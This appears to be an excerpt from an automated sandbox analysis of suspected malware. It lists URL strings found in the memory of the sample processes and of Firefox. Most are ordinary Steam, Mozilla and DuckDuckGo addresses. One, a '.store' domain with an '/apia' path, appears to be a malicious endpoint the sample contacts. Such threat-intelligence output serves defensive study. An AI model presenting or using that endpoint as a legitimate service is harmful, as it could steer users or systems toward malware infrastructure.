Source: 2ffb915ad7.exe, 0000000C.00000003.3186014931.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profbx
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049841334.0000000001108000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049841334.0000000001108000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049841334.0000000001108000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049841334.0000000001108000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=W9BX
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049841334.0000000001108000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp
Source: 2ffb915ad7.exe, 0000000C.00000003.3186014931.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: firefox.exe, 0000001A.00000003.3065117194.000001EE368BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3002704138.000001EE2EA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3004085637.000001EE2E481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.3292321816.000001EE368B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3174360577.000001EE2EBC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001A.00000002.3292321816.000001EE368B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3182930609.000001EE2F635000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.2106047538.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2492324238.00000000296C3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072995899.0000000005285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2094217031.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2492324238.00000000296C3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072995899.0000000005285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tilesF
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3135741496.000001EE1EA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001A.00000002.3213356534.000001EE30842000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3089658099.000001EE30842000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3083659501.000001EE30842000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3302819914.0000057821204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001A.00000002.3292321816.000001EE368B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3214859030.000001EE3093A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303658393.000019BB45504000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304638949.00002FDF56B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.3004085637.000001EE2E481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3075217383.000001EE3093A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060047008.000001EE368E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001A.00000002.3187754650.000001EE2F924000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eaglepawnoy.store:443/apia
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
